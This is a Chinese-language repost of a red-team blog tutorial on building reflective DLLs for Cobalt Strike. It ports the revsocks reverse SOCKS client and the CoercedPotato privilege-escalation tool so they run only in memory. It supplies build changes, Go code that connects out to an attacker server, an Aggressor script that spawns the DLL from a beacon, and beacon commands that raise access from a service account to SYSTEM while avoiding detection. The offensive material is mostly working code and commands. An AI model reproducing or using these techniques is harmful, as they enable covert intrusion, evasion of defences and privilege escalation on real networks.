红队活动为 Cobalt Strike 创建反射 DLL

admin 2024年6月10日22:05:51评论31 views字数 4549阅读15分9秒阅读模式
 

在我的安全评估过程中,我经常依赖用 Python、C#、Go 或 C/C++ 开发的工具。开源工具通常用于生成 PE 文件,而这在红队参与中并不适用,因为我们更愿意避免在磁盘上上传和执行文件。对于 Python 工具,我们需要一个 SOCKS 代理,但 C2 SOCKS 非常慢,因为 SOCKS 流量通过信标的出口 C2 流量。

在这篇博文中,我将展示如何移植 2 个工具,以便它们生成一个可以在 CobaltStrike 中使用并从内存中执行所有操作的反射 DLL (RDLL)。

Golang-revsocks

为了克服 SOCKS 延迟问题,我使用了修改版的revsocks。Revsocks 分为两部分:服务器和客户端。服务器监听传入连接,并在建立有效连接时启动 SOCKS 服务器。

早在 2019 年,@ EthicalChaos就发表了一篇博文,介绍了如何将 Golang 工具与 Cobalt Strike 结合使用(将您最喜欢的 Go 程序武器化以用于 Cobalt Strike),并发布了goreflect,这是一个从 Go 项目生成 RDLL 的模板。

我在 Linux 机器上使用此模板时遇到了一些问题,因此我将解释我做了什么来使其正常工作。

首先,我们将编译一个 Golang 程序,因此 PE 会非常大。因此,我们需要增加可塑性配置文件中的任务大小限制,以便将 RDLL 传输到信标

set tasks_max_size "5048576";

现在克隆模板 Github 存储库

git clone https://github.com/CCob/goreflect

然后修改CMakeLists.txt添加以下标志

project (goreflect)#Dependency to add simple Go support to CMakeinclude(${CMAKE_SOURCE_DIR}/cmake/GolangSimple.cmake)# flags for cross compilationset(CMAKE_C_COMPILER x86_64-w64-mingw32-gcc)set(GOOS windows)set(GARCH amd64)set (DIST_DIR ${CMAKE_SOURCE_DIR}/dist)

我删除了以下几行

#Your favorite go tool definitionGO_GET(gobuster github.com/OJ/gobuster)

我在文件末尾添加了这个来创建最终的 RDLL 文件

add_custom_command(        TARGET goreflect POST_BUILD        COMMAND ${CMAKE_COMMAND} -E copy                ${CMAKE_BINARY_DIR}/libgoreflect.so                ${DIST_DIR}/revsocks.dll)

并且我将 的引用重命名为gobustermatch revsocks。

由于 revsocks 不是作为库开发的,我们不能仅仅解析 RDLL 的参数并将它们传递给 revsocks API。

//export startfunc start(arg string) {    args, err := gsq.Split(arg)    args = append([]string{"goreflect"}, args...)    os.Args = args    // parse arg    // ...    // doesn't exist    revsocks.startclient(args.host, args.port, ....)

rclient.go我们需要将revsocks中定义的函数复制到goreflect.go程序的主程序中并调用它们

func connectviaproxy(proxyaddr string, connectaddr string) net.Conn {    // ...}func connectForSocks(tlsenable bool, verify bool, address string, proxy string) error {    // ....}//export startfunc start(arg string) {  //parse our monolithinc argument string into individual args  args, err := gsq.Split(arg)  //our first argument is usally the program name, to just fake it  args = append([]string{"goreflect"}, args...)  if err == nil {    //replace os.Args ready for calling our go program    os.Args = args    connect := flag.String("connect", "", "connect address:port")    proxy := flag.String("proxy", "", "proxy address:port")    optproxytimeout := flag.String("proxytimeout", "", "proxy response timeout (ms)")    proxyauthstring := flag.String("proxyauth", "", "proxy auth Domain/user:Password ")    optuseragent := flag.String("useragent", "", "User-Agent")    optpassword := flag.String("pass", "", "Connect password")    recn := flag.Int("recn", 3, "reconnection limit")    rect := flag.Int("rect", 30, "reconnection delay")    flag.Usage = func() {      fmt.Println("revsocks - reverse socks5 server/client")      fmt.Println("")      flag.PrintDefaults()      fmt.Println("")      fmt.Println("Usage:")      fmt.Println("1) Start on the client: revsocks -listen :8080 -socks 127.0.0.1:1080 -pass test")      fmt.Println("3) Connect to 127.0.0.1:1080 on the client with any socks5 client.")    }        // parse os.Args    flag.Parse()    //run our go program    if *connect == "" {      flag.Usage()      os.Exit(0)    }        // call to connectForSocks or something else...

准备就绪后goreflect.go,您可以构建项目并且它应该会产生dist/revsocks.dll。

cd cmakecmake ..make

现在我们可以创建一个 Cobalt Strike 攻击脚本来执行我们的 RDLL:

beacon_command_register("Revsocks", "Socks5 with NTLM proxy support",   "Connect Usage: Revsocks -connect 20.20.20.20:443 -pass Password1n");alias Revsocks {   local('$bid', '$args');   $bid = $1;   $args = substr($0, 9);   if ($args eq "") {      berror($bid, "Please specify an argument string");    return;   }   blog($bid, "Spawn Revsocks as a Reflective DLL with argsn$argsn");   bdllspawn($bid, script_resource("dist/revsocks.dll"), $args, "Revsocks", 5000, false);}

一旦 CNA 准备就绪,请将其加载到 Cobalt Strike 中,并在信标中调用 Revsocks 函数。

红队活动为 Cobalt Strike 创建反射 DLL

你应该会在 revsocks 服务器上收到回调。

红队活动为 Cobalt Strike 创建反射 DLL

CoercedPotato 用于权限提升

在最近的一次交战中,我和我的队友在 Windows IIS 服务器上获得了 RCE(我将就此发表专门的博客文章),最终我们以 NT 本地服务帐户的形式在服务器上获得了信标。

我们成功使用GodPotato获取execute-assembly了系统信标。但是,由于它会在 Cobalt Strike 生成的牺牲进程中execute-assembly加载,因此很容易被发现。CLR.dll我想找到另一种不使用的解决方案execute-assembly,因此我想到使用反射 DLL 加载。

两个月前,CoercedPotato发布,其优点是作为 C++ 工具,因此可以轻松移植到 RDLL。我克隆了 repo 并将Stephen Fewer RDLL 库集成到其中。除了必须将项目分成两部分之外,没有太多可谈的

  • RPC 服务器/命名管道
  • 胁迫者客户端

我没有成功通过CreateThreadRDLL 生成 RPC 服务器,所以我决定首先加载 RDLL 来生成它,然后再加载它以强制 SYSTEM 身份验证。我删除了部分代码,只保留了 MS-RPRN 强制代码。

您可以在我的 Github CoercedPotatoRDLL上找到代码:https://github.com/sokaRepo/CoercedPotatoRDLL?tab=readme-ov-file。

红队活动为 Cobalt Strike 创建反射 DLL

使用 SeImpersonateToken 权限和 MS-RPRN 功能将权限从 NT 服务提升到 SYSTEM。

主要基于https://github.com/Prepouce/CoercedPotato

来自https://github.com/stephenfewer/ReflectiveDLLInjection的反射加载器。

安装

克隆此 repo 并在 VisualStudio 中编译项目,然后加载dist/coercedpotato.cna到 CobaltStrike。

用法

首先需要使用以下命令生成 RPC 侦听器

beacon> CoercedPotato spawn ProcessToSpawn OptionalCmdArgument

例如

beacon> CoercedPotato spawn C:WindowsTempbeacon.exebeacon> CoercedPotato spawn C:WindowsTemploader.exe C:WindowsTempbeacon.bin

然后你就可以触发系统调用

beacon> CoercedPotato coerce

红队活动为 Cobalt Strike 创建反射 DLL

https://github.com/sokaRepo/CoercedPotatoRDLL?tab=readme-ov-filehttps://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html

原文始发于微信公众号(Ots安全):红队活动为 Cobalt Strike 创建反射 DLL

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月10日22:05:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队活动为 Cobalt Strike 创建反射 DLLhttps://cn-sec.com/archives/2834915.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息